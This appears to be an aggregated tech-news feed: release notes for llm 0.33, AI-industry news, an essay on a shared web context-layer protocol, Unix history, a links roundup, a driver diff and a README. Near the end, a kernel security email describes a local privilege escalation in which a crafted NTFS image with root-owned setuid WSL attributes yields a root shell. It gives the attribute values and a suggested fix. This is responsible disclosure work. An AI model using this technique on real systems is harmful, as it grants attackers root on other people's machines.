    “We went to the hospital together and I remember him saying, ‘I’ll go first so you’re feeling at ease,’” Vandenkerckhove told VTM.

    Once paternity was confirmed, Vandenkerckhove said he and his father had engaged in “open and honest conversations.”

    This is not the first time a secret involving Belgium’s Royal Family has emerged.

    Laurent’s father, now 92, fought a paternity battle for many years before admitting in 2020 that he had fathered a daughter during an affair.

    Delphine Boël, 58, eventually won her legal fight and was granted the title of princess.

    She now uses the name Delphine de Saxe-Coburg.

    llm 0.33

    Simon Willison
    simonwillison.net
    2026-08-22 13:01:16
    Release: llm 0.33 My highlights from this release: Upgraded to the OpenAI Python library 3.x and switched the HTTP client dependency from httpx to httpx2. #1608, #1631 I shipped a quick 0.32.1 fix for this yesterday, but this is the more comprehensive fix. llm embed and llm embed-multi...
    Original Article

    My highlights from this release:

    • Upgraded to the OpenAI Python library 3.x and switched the HTTP client dependency from httpx to httpx2 . #1608 , #1631

    I shipped a quick 0.32.1 fix for this yesterday, but this is the more comprehensive fix.

    • llm embed and llm embed-multi now accept --key . The Python EmbeddingModel.embed() , EmbeddingModel.embed_multi() , Collection.embed() and Collection.embed_multi() methods accept key= too, passing the resolved per-call key to embedding plugins without changing shared model state. Existing plugins that read self.key continue to work through a compatibility fallback. Thanks, ChrisJr404 . #757 , #1620

    The embedding models now use the same pattern for keys that regular LLM models do.

    • llm prompt -t/--template can now be repeated to combine templates in order. This allows model configuration and options from one template to be used with a prompt from another.

    This unlocks a neat pattern where you can create templates that package a model with a set of default options:

    llm -m gpt-5.6-luna -o reasoning_effort high --save lhigh
    llm "Generate an SVG of a pelican riding a bicycle" --save pelican
    # Combine and run the templates
    llm -t lhigh -t pelican
    

    This is particularly useful for exercising different models that provide their own imitation of the OpenAI Responses API.

    Anthropic appears to be A/B testing reduced effort levels in Claude Code

    Hacker News
    twitter.com
    2026-08-22 12:58:49
    Comments...
    Original Article

    update: it's server-side, not the app anthropic enrols fable 5 sessions on claude code 2.1.236+ into an experiment that shrinks the effort scale, older versions and opus 5 are left alone probably an a/b test, so not everyone will see it if "high" feels like "low" for you, you're in the test group holy fuck anthropic, you guys are unbearable sometimes

    if fable felt dumber this week, it's not you ❗❗❗ since 2.1.237 the model reads "high" effort as 10 out of 100, the exact number "low" used to be and the changelog doesn't say a word i spent my whole afternoon convinced t3 code and my own app were broken before i went

    Mark Carney on the U.S. Under Trump: ‘Sometimes, Its Signature Is Written in Pencil’

    Daring Fireball
    www.nytimes.com
    2026-08-22 12:47:10
    Ian Austen, reporting for The New York Times (gift link): The morning after he pulled negotiators from trade talks in Washington and set off a new round of American tariffs, Prime Minister Mark Carney on Saturday explained to Canadians why he walked away, calling the U.S. proposal “a bad deal.” ...
    Original Article

    Please enable JS and disable any ad blocker

    The Web Needs a Context Layer Built on a Shared Protocol

    Internet Exchange
    internet.exchangepoint.tech
    2026-08-20 12:46:51
    Making context a shared protocol, rather than a platform feature, would let readers see competing perspectives anywhere on the web, argue Mallory Knodel, Evan Friedman, and Brad Friedman....
    Original Article
    author: Mallory Knodel

    Making context a shared protocol, rather than a platform feature, would let readers see competing perspectives anywhere on the web, argue Mallory Knodel, Evan Friedman, and Brad Friedman.

    The Web Needs a Context Layer Built on a Shared Protocol
    Photo by Robert Anasch / Unsplash

    By Mallory Knodel , Brad Friedman and Evan Friedman . Originally published in Tech Policy Press .

    Two people can read the same headline and come away with opposite stories. One may see a public health measure, the other government overreach. Researchers have long known that communities don't just disagree on issues; they frame them in entirely different terms. The problem is not disagreement itself. A diverse society will always contain reasonable, competing interpretations of the same event. The issue is that the web typically gives users a single spotlight on a topic without making the surrounding perspectives easy to find. A claim can be accurate but still partial. What is missing is a way to see those competing frames side by side, mapping how the same conversation takes shape across the internet. This would give readers a broader view.

    When a misleading post on X or Facebook appears with a note beneath it written by other platform users, that note is context: information, sources, and competing perspectives added alongside the content so readers can judge it more fully. Right now, that context layer is proprietary, created and owned by the platforms on which it appears. But context doesn't have to be built this way. Treating it as a protocol, a shared open standard any platform can adopt rather than a feature owned by one company, is an opportunity to build prosocial features into the infrastructure of the web.

    In their paper " From local hacks to global standards: The hidden politics of internet protocols ," Matthew Zook and Ate Poorthuis use three examples to illustrate that historically, infrastructure has started with a smaller use case and then scaled. The danger is that early informal decisions become global rules without enough consideration for human rights and other impacts.

    One example they give is the country code top-level domain system, the familiar national suffixes like .FR for France or .UK for Britain, which were built according to ISO 3166, an existing list of two-letter country codes maintained by the International Organization for Standardization. But, from the 1980s until today, the ISO list itself has not been a neutral inventory of the world's nations. It is a list that elides the fraught question of what counts as a country. As a result, particular political histories and institutional relationships were adopted into the domain name system along with those embedded judgments. Territories with contested sovereignty, colonial dependencies, or without recognized statehood were included or excluded, baking political decisions about place into the architecture of the internet.

    Context is a new, developing layer of the internet. The most promising tools for adding context to online content are community notes, used by both X and Meta, and which show real promise in reducing online harms like misinformation and disinformation. But these context layers are proprietary, owned and managed by these two platforms and, like the ISO list, they come with biases—in this case, those of these platforms’ unique user bases and their commercial interests. If we want context to scale and be scrutable, we need to facilitate context with protocols: that is the ‘how’ of building a context layer. An open, opt-in standard that any publisher, browser, or platform can adopt, rather than a feature each company builds and owns, can democratize context and appropriately place it within the realm of the political: that is the what.

    Building such a protocol deliberately, in the open, lets us embed choice, user agency, and prosocial values into the context layer of the internet, a Broader View button ( demo here ) built into the web itself, rather than allowing closure to settle around whatever already exists before anyone has deliberately chosen, as happened with the domain name system.

    Removals, labels and annotation

    Most efforts to improve what people encounter online currently fall into three general categories: removal (take it down), labeling (flag it), and crowdsourced annotation (let users add context). The first two require a platform or trusted third party fact-checkers to decide what is true, which much of the public no longer trusts it to do .

    Crowdsourced annotation like community notes was developed in part to address the issues of the first two categories, and the evidence suggests that it succeeds, at least in limiting the spread of misinformation and disinformation. The system's own designers found that algorithm-selected notes made users about 26 percent less likely to agree with a misleading claim , and that exposure to notes reduced likes and retweets by 25 to 34 percent in live deployment. A causal study , covering roughly 285,000 Community Notes on X (formerly Twitter), found that attaching a note cut subsequent retweets by about half and raised the chance the author deleted the post by around 80 percent. Issues appear, however, when trying to scale these efforts. The average note takes more than fifteen hours to appear, by which point roughly 80 percent of a post's reach has already happened, so the net effect on overall virality falls to between 16 and 21 percent.

    Plus, many posts that perhaps should have notes never do. A note requires volunteers to notice the post, write a note, and reach cross-partisan agreement before it is published. This is a high barrier that only about 11 percent of proposed notes ever meet. Fewer than 10 percent of published notes reach "helpful" status , and 26 percent of those that do are later removed due to disagreement.

    In addition, a great deal of online content is not false. It is accurate as far as it goes, but may show only one side of a contested issue. No current moderation system systematically surfaces the competing frames around a post that is true-but-partial, and a small, hyperactive minority of users produce most of what everyone sees , and that content skews more politically extreme than what the typical user posts, so the less partisan majority is rendered nearly invisible. On genuinely contested questions, the “true or false” binary is even less useful: the truth often isn’t settled for years, long after the moderation decision has been made and the post has done its work.

    Rather than seeing this as an indictment of content moderation or Community Notes, which is the clearest proof we have that a context layer can work, we see it as evidence that the bottleneck is architectural: a layer run by volunteers inside one platform's user base will always face an upper ceiling that we believe only a shared standard can alleviate.

    Why now? AI, obviously

    A context layer that depends on volunteers noticing a post, writing a note, and reaching cross-partisan agreement will always be slower and more limited than the content it is intended to contextualize. What has changed is that large language models can now do part of this work by reducing the demand on the volunteer labor that made it scarce, and drawing from a wider range of relevant material.

    A recent system, Supernotes , uses a language model to synthesize these fragments into a single candidate note, then scores that candidate by modeling how a politically diverse set of raters would respond to it. In testing, participants preferred the AI-synthesized notes to the best existing human-written ones roughly three times out of four. In this study, the model didn't decide what was true; it drafted and assembled content from existing human notes. Whether the result was helpful still came down to human cross-partisan agreement, and the AI was what let that agreement extend to far more content than volunteers could reach alone. This points to something a shared context layer could do beyond simply showing different perspectives side by side: surface where communities that usually disagree actually share ground, an approach sometimes called bridging. The algorithm behind Community Notes was also built on this principle , scoring a note highly only when people with otherwise opposed rating histories agree it is helpful, rather than relying on a simple majority. Supernotes extends that same bridging logic with AI.

    There is a reason AI may be well-suited to this particular job. People often distrust context when it comes from a perceived opponent, and some research suggests they treat AI-generated summaries as comparatively impartial . We should be cautious, because AI carries its own biases that have to be managed openly. But for the narrow task of laying out how different communities frame an issue, that cites sources, AI may have an easier time being heard.

    How? The protocol opportunity

    A protocol-level approach asks: what if context were shared infrastructure, like a web standard, rather than a feature limited to one provider? A standard that lets any platform, publisher, or browser participate without each needing to build a feature from scratch, and lets context travel across services? And what if users had agency to choose their context provider?

    Our model is the closed-captioning (CC) mark. It is instantly recognizable, works across virtually all video regardless of who made it, is owned by no single company, and turns on only when the viewer wants it. Part of the mark’s power is the mark itself: a single recognizable symbol compresses the whole idea into two letters anyone can spot on any screen. A universal mark is what makes an opt-in layer usable by ordinary people, not just legible to technologists.

    We propose the same for context: a universal, opt-in icon which we call the “Broader View button,” that a reader clicks only if they want the fuller picture. On a contested political post, that might mean seeing how different communities understand the same event, what they agree on, where they disagree, and the perspectives and sources each community draws on, so a reader can understand the landscape and draw their own conclusions. On a video of a duck leading her ducklings across a highway, the button might open up a wider understanding about migration, habitat loss and how some cities are redesigning roads around wildlife. Context isn't only a corrective for our worst content; it's an invitation to be more curious about all of it.

    No content is removed, no fact-checks are pushed into the feed. Because it adds speech rather than restricting it, the approach can hold support across a political spectrum that agrees on little else about online speech.

    We propose that the standard should be provider-agnostic. Like choosing a default search engine, different providers could supply the context behind the same button, separating the standard (how context is displayed) from the curation (who, or which AI model, assembles it). Letting readers pick their own provider is a form of user agency, and experienced users judge content more favorably when they have actively chosen it rather than had it chosen for them.

    We also propose that trust and safety belongs in the protocol itself, for instance, requiring that quoted text in a context window trace to a verifiable source and that off-topic pile-ons be filtered, so every implementation meets a minimum threshold.

    A layer worth building

    A key principle behind years of content moderation has been to remove false content and correct the record. But much of what hardens divides online is not false . Instead it is partial or one-sided, and no content moderation verdict can address this problem. What's missing is not a better judge or a jury. It's a layer that lets users who want it see a bigger, fuller picture.

    Across established democracies, the spread of social media has tracked with falling trust and rising polarization, yet the research has gone overwhelmingly toward documenting that harm rather than testing ways out of it. One 2021 review of more than ninety studies notes how little work has explored how media might actually depolarize. In other words, we have mapped the problem in great detail, but we have barely begun to identify or fund the solutions.

    Community Notes is the clearest proof we have that a context layer can work, and of its limits. They are not a reason to abandon the idea, but a reason to build it properly as shared infrastructure, rather than a feature owned by one company. A Broader View button will not be perfect, but a perfect solution does not exist, and there are costs for waiting.

    Where should this work live?

    Despite years of thinking from scholars like Francis Fukuyama and Renée DiResta , what are called “middleware” solutions to content moderation haven’t made it into the protocols standardization pipeline. We are still left with platforms, not protocols, implementing solutions, which Mike Masnick pointed out are not ideal.

    Taking on a context layer has implications for any technical standards body's mandate already dealing with content, and those bodies are few. The W3C is the most natural home, since it already looks after the web and social standards, however its prior work on annotation would only be a partial help. ISO could also take it on as global trust frameworks like C2PA are increasingly within mandate and expertise. Whoever shepherds the work takes on more than writing the standard itself. They foster a community of trust and safety rules stewards and will likely bring together a huge cross section of web services and platform implementers.

    Support the Internet Exchange

    If you find our emails useful, consider becoming a paid subscriber! You'll get access to our members-only Signal community where we share ideas, discuss upcoming topics, and exchange links. Paid subscribers can also leave comments on posts and enjoy a warm, fuzzy feeling.

    Not ready for a long-term commitment? You can always leave us a tip .

    Become A Paid Subscriber


    Mid year sale!

    If you've been thinking about becoming an IX subscriber and getting access to all of our hot🔥 links, our members-only Signal community, the ability to leave comments and replies on posts, and the warm fuzzy feeling of knowing you're supporting our mission, now is the time. Annual subscriptions are usually $50 but are just $30 until the end of August.


    🚨

    Stop press! Do you enjoy our links? Links are now available to paid subscribers only. Become a paid subscriber today.

    Anthropic IPO filing will show AI backlash as a risk factor, sources say

    Hacker News
    www.cnbc.com
    2026-08-22 12:23:09
    Comments...
    Original Article

    Dario Amodei, co-founder and chief executive officer of Anthropic, during an interview at Anthropic's headquarters in San Francisco, California, US, on Thursday, April 30, 2026.

    Jason Henry | Bloomberg | Getty Images

    Anthropic is poised to hit the public market at a time when an increasing number of Americans are worried about artificial intelligence and are loudly opposing new data centers. That backlash is expected to be a key risk factor in Anthropic's IPO prospectus, according to people familiar with matter.

    The Claude creator has been holding preliminary "test-the-water" meetings with bankers and investors in San Francisco, said the people, who asked not to be named because the sessions are confidential. In the meetings, CFO Krishna Rao is being asked about competition, margin pressure from open-source models, and what happens if there's a slowdown in the building of data centers, the sources said.

    In June, Anthropic confidentially filed to go public in what will be among the biggest IPOs on record. Elon Musk's SpaceX , which competes with Anthropic through its AI division, raised $85.7 billion , including the underwriter option, two months ago. It's by far the largest offering to date.

    Investors expect that Anthropic may top that, and project the company could float at a valuation of about $2 trillion, the people said.

    Anthropic declined to comment.

    Like rival OpenAI , Anthropic is pushing infrastructure partners to build out at warp speed in order to meet demand for advanced models and new services. Tech's hyperscalers are shelling out hundreds of billions of dollars this year on capital expenditures to fuel data center develop and purchase the graphics processing units needed to fill them.

    But public sentiment isn't in their favor.

    According to a Gallup survey published in May, seven in 10 Americans opposed AI data center construction in their area, with close to half of those polled "strongly opposed." Roughly a quarter of people surveyed are in favor, Gallup said.

    Representative Byron Donalds, a Republican from Florida and gubernatorial candidate, during a "Get Out The Vote" rally ahead of a primary election in Boca Raton, Florida, US, on Sunday, Aug. 16, 2026.

    Eva Marie Uzcategui | Bloomberg | Getty Images

    With midterms less than three months away, politicians on both sides of the aisle have been pushing back on data center development, reflecting the anger of their constituents.

    It was a key issue in Florida's Republican gubernatorial primary on Tuesday, which was won by Rep. Byron Donalds, who has proposed restrictions on data centers in Florida. That same day Pennsylvania Democratic Gov. Josh Shapiro signed an executive order placing harsh standards on data center development in his state.

    Companies are required to outline their risk factors as investor disclosures and for legal protection in their prospectus. SpaceX said in its risk factors section that, "Adverse global macroeconomic and geopolitical conditions may negatively affect our business, financial condition, results of operations and future prospects."

    Compute capacity is directly correlated to revenue for AI labs like Anthropic, which is valued at close to $1 trillion in the private market. A slowdown could dent the historic growth rate for a company that just topped a $65 billion annual revenue run rate, as CNBC previously reported.

    — CNBC's Ashley Capoot contributed to this report.

    Learning about "The Unix Time-Sharing System"

    Hacker News
    playtechnique.io
    2026-08-22 12:11:16
    Comments...
    Original Article

    Hey there -

    The feature in this month's newsletter is The Unix Time-Sharing System , by Dennis Ritchie and Ken Thompson. This newsletter's goal is to uncover real details about Unix' early history; to get more confident using these tools, I offer one-on-one teaching about linux, infrastructure tools, scripting, design and more. Check Mentorship for more.

    Background

    Linux, the design came from a great mind, and that great mind was not mine, I mean you have to give credit for the design of Linux to Kernighan and Ritchie and Thompson.

    Linus Torvalds, informal interview, 2011

    The first version was written when one of us (Thompson), dissatisfied with the available computer facilities, discovered a little-used PDP-7 and set out to create a more hospitable environment. This (essentially personal) effort was sufficiently successful to gain the interest of the other author and several colleagues.

    Dennis Ritchie, The Unix Time-Sharing System

    Unix was initially written by Ken Thompson. His employer, AT&T, pulled out of an Operating System project called Multics. For most of us, when our employer leaves a project they give us a new assignment: Bell Labs worked differently. It was mostly a think tank for self-directed research; the researchers were left alone to follow their own interests 1 .

    Ken, now at a loose end, decided he knew what interested him: he had access to a GE-645 computer that was bought for Multics work but was now idle. It had drum disks and he wanted to optimise disk throughput. Nobody had solved this before. In his own words:

    The peripherals were great...it had a set of disks that were faster than anything that I could imagine, and I wanted to write drum seeking algorithms, I wanted to get throughput on drums because everything I knew in the computer center or in Multics couldn't deal with drums well...Basically they would say "read" and wait for the read to come back, but what you want to do is simultaneous overlapped reads. Basically it was fun, but that's my life, that's my whole being.

    Ken Thompson, Turing Award Interview

    He lost access to the machine when he was ready to start interactive terminal sessions using his new disk layout and accessing scheme. To replace it, he found the "little-used PDP-7" and used it to continue his disk layout research. He realises that he's almost got a full operating system and needs about 3 weeks to finish it. Again, in his own words:

    It had a file system. It had a disc driver. It had I/O peripherals. It had, you know, it had everything except the ability to maintain itself. So I needed a compiler, editor, an assembler, a loader, and user protection to run multiple users.

    Ken's wife coincidentally took a 3 week vacation with their child, and so Ken finished up the remaining few tidbits.

    Just to ensure you know who you're dealing with, yes, Ken Thompson wrote a compiler and an editor and an assembler and a loader and user protection in 3 weeks, written in assembly.

    The File Opening Revolution

    There're about ten thousand small historical details worth commenting on in this paper, but I wanted to cover a really weird one that won't draw your attention unless you know what you're seeing. You see, Multics had what's known as a single-level store. Here's the quote:

    The purpose of an open or create system call is to turn the path name given by the user into an i-number by searching the explicitly or implicitly named directories. Once a file is open, its device, i-number, and read/write pointer are stored in a system table indexed by the file descriptor returned by the open or create. Thus, during a subsequent call to read or write the file, the descriptor may be easily related to the informa- tion necessary to access the file.

    Dennis Ritchie & Ken Thompson, The Unix Time-Sharing System

    We live in a world where this is such a mundane statement. Open...opens a file. What was contemporary at the time? Fortunately, Ken Thompson told us:

    Multics was a virtual memory system with page faults, and it didn't differentiate between data and programs. You'd jump to a segment as it was faulted in, whether it was faulted in as data or instructions. There were no files to read or write — nothing you could remote — which I thought was a bad idea. This huge virtual memory space was the unifying concept behind Multics and it had to be tried in an era when everyone was looking for the grand unification theory of programming, but I thought it was a big mistake. I wanted to separate data from programs, because data and instructions are very different. When you're reading a file, you're almost always certain that the data will be read sequentially, and you're not surprised when you fault a and read a + 1. Moreover, it's much harder to excise instructions from caches than to excise data. So I added the exec system call that says “invoke this thing as a program,” whereas in Multics you would fault in an instruction and jump to it.

    Ken Thompson, Unix And Beyond , 1999

    Ken stumbled upon something that's still hitting us hard today, you should treat different things differently.

    Comfiles

    Here's another delightful quote that hides a deeper secret:

    Thus, when the shell is executed as a command with a given input file, as in: sh <comfile the commands in comfile will be executed until the end of comfile is reached; then the instance of the shell invoked by sh will terminate.

    Dennis Ritchie & Ken Thompson, The Unix Time-Sharing System

    So what's a comfile ? Clearly it's a shell script, yeah? So why're they called comfiles? It's short for "command files". Dennis and Ken's collaborator and team lead Doug McIlroy actually shines a light on where this name comes from, and incidentally tells all of the BSD-loving audience where the rc.local convention comes from:

    The shell read commands from the same standard input as did programs that it invoked. Thus commands and data were interleaved in command files, or "runcoms," now usually called shell scripts. [A] Runcom [is] a program that could run a short script of commands in the background, was the closest thing MIT's CTSS had to a callable shell. A vestige of the name survives in the boot script, /etc/rc.

    Doug McIlroy, A Research Unix Reader

    Conclusions

    For most of us who don't know the history of Unix, it can be too easy to assume it was a quick success. The paper opens up telling us, "Since PDP-11 Unix became operational in February, 1971, over 600 installations have been put into service." The version of the paper I'm linking to was published in 1977. That's 6 years of Ken and Dennis' life.

    Six years of discipline: keeping to a small number of system calls, inventing a programming language and refining and refining it, six years of identifying healthy patterns and moving Unix to be both what the inventors wanted and to deliver value to other people.

    This is the kind of discipline that I teach: I help you learn how to learn the technical skills you need. You bring me the thing you're stuck on, a build pipeline you don't trust or a language you keep bouncing off, and we work it until you understand it well. Unix history has lessons to teach us, and I like sharing those for free, but self-improvement needs focus and hard work.

    You should go read The Unix Time-Sharing System . It's like a love letter from your community's past to you, today. If you want someone in your corner while you work on your own six-year challenge, sign up for mentorship and let's get after it.

    Gwendolyn James

    P.S. Thanks for your attention today. Please do forward this on to other people you know who love this kind of geek-history. These letters are here to help encourage, inform, and inspire, and I'd love to see the list continue to grow.

    [1] For more on this fascinating workplace, see either the book "The Idea Factory" by Jon Gertner, or the essay "You and Your Research" by Richard Hamming. You should definitely read Richard's essay, it's the best thing ever written about deciding what you personally work on, but it's nice to have a reason.

    Russell Coker: Links August 2026

    PlanetDebian
    etbe.coker.com.au
    2026-08-22 12:05:00
    This YouTube video about the Cashier Girl Meme is interesting in the context of AI systems that generate images of people and can communicate with people, hotter than any real human is an achievable goal [1]. Stand Up Maths has an interesting Youtube video about LLMs solving maths problems which I h...
    Original Article

    This YouTube video about the Cashier Girl Meme is interesting in the context of AI systems that generate images of people and can communicate with people, hotter than any real human is an achievable goal [1] .

    Stand Up Maths has an interesting Youtube video about LLMs solving maths problems which I highly recommend watching (it does not require any real knowledge of maths), I think this opens the door to attacks on well established cryptologic systems [2] .

    Adam Conover made an insightful YouTube video about how and why Hollywood is now unable to make good sitcoms and why this is bad for society [3] .

    Sky Croeser wrote an interesting and insightful blog post about topics covered at the “Digital and sexual citizenship in an age of social media bans: Interrogating the rights of children and young people conference” [4] .

    Zane wrote a very informative blog post about reverse engineering a trojaned Android projector with Claude Code [5] . We need much better security on home networks to break the business model for this sort of thing.

    Renee Stonebraker’s article “Puritans Wouldn’t Eat Pussy, So They Invented the Western” has a lot of interesting information about early days of colonising the US, and not much about eating pussy [6] .

    IFLScience has an interesting article about brinicles, icicles of brine that form under sea ice [7] .

    Nautilus has an interesting article about the Silurian Hypothesis [8] .

    The Conversation has an intersting article about the pros and cons of no-till farming [9] .

    Cold War is a 365tomorrows story about bio-warfare which raises several disturbing possibilities we need to guard against [10] .

    Scott Santens wrote an insightful article describing how a land value tax would reduce rent and solve the housing shortages [11] .

    Positive News has an interesting article about using OnlyFans to teach people about climate change [12] .

    The Conversation has an interesting article about cultural safety in healthcare, sounds good, and while we are at it lets deal with sexism [13] .

    Doctoreww has an interesting web page about ways of displaying different strings to humans and machines, this could result in you running a different command to what you thought you copied from a web site or defeating tools designed to block hostile content [14] .

    Cory Doctorow wrote an insightful article “Commentary Hell is Other People” about the way rich people want to use AI to replace all people [15] . Also psychologists who help rich people accept being greedy are worthy of a Luigi

    The research article “Worship me at the office altar: Why narcissistic leaders resist remote work” is interesting, yet another reason to get rid of narcissistic executives [16] .

    Renew Economy has an interesting article about clean up costs for mining (which is usually left for the government to pay) and how this could impact renewable energy production facilities [17] .

    Elvira Bary wrote an insightful article on the Russian financial collapse that is happening now [18] .

    The Guardian has an interesting article about Afro-American women who travel to South Korea for healthcare because of problems with racism and sexism in American hospitals [19] .

    The Conversation has an interesting article about the potential for disabled people to be more productive in space than non-disabled people [20] .

    Krebs has an interesting article about LG banning residential proxy code from apps after the LG store was found to have such code in 42% of it’s apps [21] .

    Robert B Shpiner wrote an insightful article for The Guardian about the death of democracy in the US [22] .

    Related posts:

    1. Links August 2024 Bruce Schneier and Kim Córdova wrote an insightful article about...
    2. Links February 2026 Charles Stross has a good theory of why “AI” is...
    3. Links August 2025 Dimitri John Ledkov wrote an informative blog post about self...
    4. Links July 2026 Bruce Schneier and Nathan E. Sanders wrote a disturbing and...
    5. Links April 2026 Charles Stross wrote an interesting blog post about the apparent...

    Linus Torvalds uses AI to debug an Intel GPU driver bug

    Lobsters
    github.com
    2026-08-22 12:04:51
    Comments...
    Original Article
    Original file line number Diff line number Diff line change

    @@ -89,12 +89,25 @@ static int get_flat_ccs_offset(struct xe_gt *gt, u64 tile_size, u64 *poffset)

    89 89

    offset = offset_hi << 32 ; /* HW view bits 39:32 */

    90 90

    offset |= offset_lo << 6 ; /* HW view bits 31:6 */

    91 91

    offset *= num_enabled ; /* convert to SW view */

    92 -

    offset = round_up ( offset , SZ_128K ); /* SW must round up to nearest 128K */

    93 92
    94 -

    /* We don't expect any holes */

    95 -

    xe_assert_msg ( xe , offset == ( xe_mmio_read64_2x32 ( & gt_to_tile ( gt ) -> mmio , GSMBASE ) -

    96 -

    ccs_size ),

    97 -

    "Hole between CCS and GSM.\n" );

    93 +

    /*

    94 +

    * Everything below this offset is handed to the VRAM

    95 +

    * allocator, so it has to be the *first* address the

    96 +

    * compression hardware owns, rounded down. Rounding it up

    97 +

    * publishes CCS storage as free memory.

    98 +

    */

    99 +

    offset = round_down ( offset , SZ_4K );

    100 +
    101 +

    /*

    102 +

    * CCS storage must not run into GSM. The old check compared

    103 +

    * the offset against GSMBASE - ccs_size for equality, which

    104 +

    * could not fail: that value is 128K aligned, so it agreed

    105 +

    * with the rounded-up offset even when the base was not 128K

    106 +

    * aligned - exactly the case this fixes.

    107 +

    */

    108 +

    xe_assert_msg ( xe , offset + ccs_size <=

    109 +

    xe_mmio_read64_2x32 ( & gt_to_tile ( gt ) -> mmio , GSMBASE ),

    110 +

    "CCS overlaps GSM.\n" );

    98 111

    } else {

    99 112

    reg = xe_gt_mcr_unicast_read_any ( gt , XEHP_FLAT_CCS_BASE_ADDR );

    100 113

    offset = ( u64 ) REG_FIELD_GET ( XEHP_FLAT_CCS_PTR , reg ) * SZ_64K ;

    More than just code review

    Simon Willison
    simonwillison.net
    2026-08-22 11:56:54
    The key skill required to make productive use of coding agents is being able to confidently instruct them on how to make changes and then confidently verify that those changes have been applied in the correct way. Sometimes this involves reviewing every line of code they have written, but there are ...
    Original Article

    22nd August 2026

    The key skill required to make productive use of coding agents is being able to confidently instruct them on how to make changes and then confidently verify that those changes have been applied in the correct way.

    Sometimes this involves reviewing every line of code they have written, but there are other ways to achieve that goal. Eyeballing every line of code has never been the most effective way to validate a chance to a piece of software.

    Posted 22nd August 2026 at 3:56 pm

    This is a note by Simon Willison, posted on 22nd August 2026 .

    Monthly briefing

    Sponsor me for $10/month and get a curated email digest of the month's most important LLM developments.

    Pay me to send you less!

    Sponsor & subscribe

    nss-userhosts - hosts files for unprivileged users

    Lobsters
    codeberg.org
    2026-08-22 11:56:18
    Comments...
    Original Article

    A glibc Name Service Switch (NSS) extension library to allow unprivileged users to have their own /etc/hosts-like entries.

    Features

    The tool is in an early stage but usable. Currently it supports:

    • parsing $HOME/.config/userhosts/*.conf files in hosts format and combining all records
    • both IPv4 and IPv6 records

    Not supported (yet?) is:

    • resolving addresses to names
    • making use of the XDG specification to find the correct directory

    Limitations:

    • This only works with software that actually uses the glibc resolver

    How to use it

    Installation

    After cloning the repository, build it:

    • cargo build --release
    • the resulting artifact libnss_userhosts.so needs to be renamed to libnss_userhosts.so.2 be correctly found by glibc
    • copy the library into your library loader path, /usr/lib/ (in my tests, /usr/local/lib didn't work unfortunately)

    If you run Arch you can also build the package: cd packaging && makepkg

    Configuration

    Now you need to tell glibc to use it. This is done in /etc/nsswitch.conf . Modify the line starting with hosts such that userhosts is in the front, e.g. like so:

    hosts: userhosts mymachines resolve [!UNAVAIL=return] files myhostname dns
    

    You are now ready to define your own hosts. Create the directory: mkdir --parents $HOME/.config/userhosts and add a first hosts, e.g:

    echo "192.168.1.79 catfeeder" > $HOME/.config/userhosts/pets.conf

    To test, you can use getent like so:

    getent ahosts catfeeder

    Hacking

    If something doesn't work, try running your program with the environment variable ENV NSS_USERHOSTS_LOG true set. This will print debug messages of the module to stderr.

    I usually test it using unprivileged containers and podman . There's a justfile for that, so just test should get you started if you have podman and just installed. The Containerfile can be easily adapted for further tests.

    Bugs & support

    You can open a pull request or file an issue on Codeberg but I don't have a lot of time to work on this. But I'll try to look at it in a timely manner.

    InjectionBunny, a NTFS3 SUID injection for privilege escalation

    Lobsters
    lore.kernel.org
    2026-08-22 11:25:07
    Comments...
    Original Article
    * Fwd: InjectionBunny: NTFS3 SUID injection leading to local privilege escalation
           [not found] <CAGBKPgMqBMsBH4mm2fwggA8rJZ3R15nPxuEh0emOeVpX2kgHPA@mail.gmail.com>
    @ 2026-08-07 10:39 ` vova tokarev
      0 siblings, 0 replies; only message in thread
    From: vova tokarev @ 2026-08-07 10:39 UTC (permalink / raw)
      To: almaz.alexandrovich; +Cc: security, ntfs3
    
    
    [-- Attachment #1.1: Type: text/plain, Size: 2898 bytes --]
    
    Hi,
    
    It's been almost two months since I reported this, and I haven't heard
    back. I recently learned I should reach out to the subsystem maintainer
    directly, so forwarding this to you.
    
    I noticed that CVE-2026-63833 (commit f8d420949b33) was assigned and
    merged for a related issue -- blocking setxattr() writes to $LX*
    names. However, this only fixes one of the two attack vectors I
    reported. The primary vector in my original report remains open:
    
    A pre-crafted NTFS image (e.g. USB drive) with $LXUID=0, $LXGID=0,
    $LXMOD=0104755 already in the MFT produces a setuid-root binary the
    moment the volume is mounted. No setxattr() is involved -- the EAs
    are on disk. The -EPERM check doesn't help.
    
    The root cause is still at fs/ntfs3/xattr.c:1022:
    
        inode->i_mode = le32_to_cpu(value[2]);
    
    This loads S_ISUID/S_ISGID directly from untrusted on-disk data.
    Desktop automounters (udisks) mount NTFS with suid by default, so
    plugging in a crafted USB gives any local user euid=0.
    
    Suggested one-line fix:
    
    -   inode->i_mode = le32_to_cpu(value[2]);
    +   inode->i_mode = le32_to_cpu(value[2]) & ~(S_ISUID | S_ISGID);
    
    I have a full PoC and working demo (included in my original report
    below). Would love to hear your thoughts.
    
    Thanks,
    Vladimir
    
    ---------- Forwarded message ---------
    From: vova tokarev <vladimirelitokarev@gmail.com>
    Date: Thu, Jun 25, 2026 at 2:18 PM
    Subject: InjectionBunny: NTFS3 SUID injection leading to local privilege
    escalation
    To: <security@kernel.org>
    
    
    Hi,
    
    I found a local privilege escalation (InjectionBunny) in the ntfs3
    filesystem driver. The function ntfs_get_wsl_perm() in fs/ntfs3/xattr.c
    assigns the on-disk $LXMOD extended attribute directly to inode->i_mode
    without masking S_ISUID or S_ISGID bits.
    
    A crafted NTFS image (e.g., on a USB drive) with $LXUID=0, $LXGID=0,
    $LXMOD=0104755 on a binary makes it appear as a setuid-root executable
    when mounted. Executing the binary gives immediate root access.
    
    The attack is deterministic (no race condition, no heap spray), works
    on first attempt, and affects every Linux system with CONFIG_NTFS3_FS
    that mounts NTFS volumes without the nosuid option.
    
    The same pattern exists in the old ntfs driver (fs/ntfs/ea.c function
    ntfs_ea_get_wsl_inode).
    
    Affected versions: Linux 4.11+ (since ntfs3 WSL EA support)
    Confirmed on: 7.1.0 (aarch64)
    
    Attached files:
      - InjectionBunny.mov             Video demo of full exploit
      - injection_bunny.py             Creates malicious NTFS image
      - suidhelper.c                   SUID payload (setuid(0) + shell)
      - InjectionBunny_report.md       Detailed writeup with root cause,
                                       reproduction, and suggested fix
    
    Suggested fix: mask S_ISUID/S_ISGID in ntfs_get_wsl_perm():
      inode->i_mode = le32_to_cpu(value[2]) & ~(S_ISUID | S_ISGID);
    
    Thank you,
    Vladimir Tokarev
    
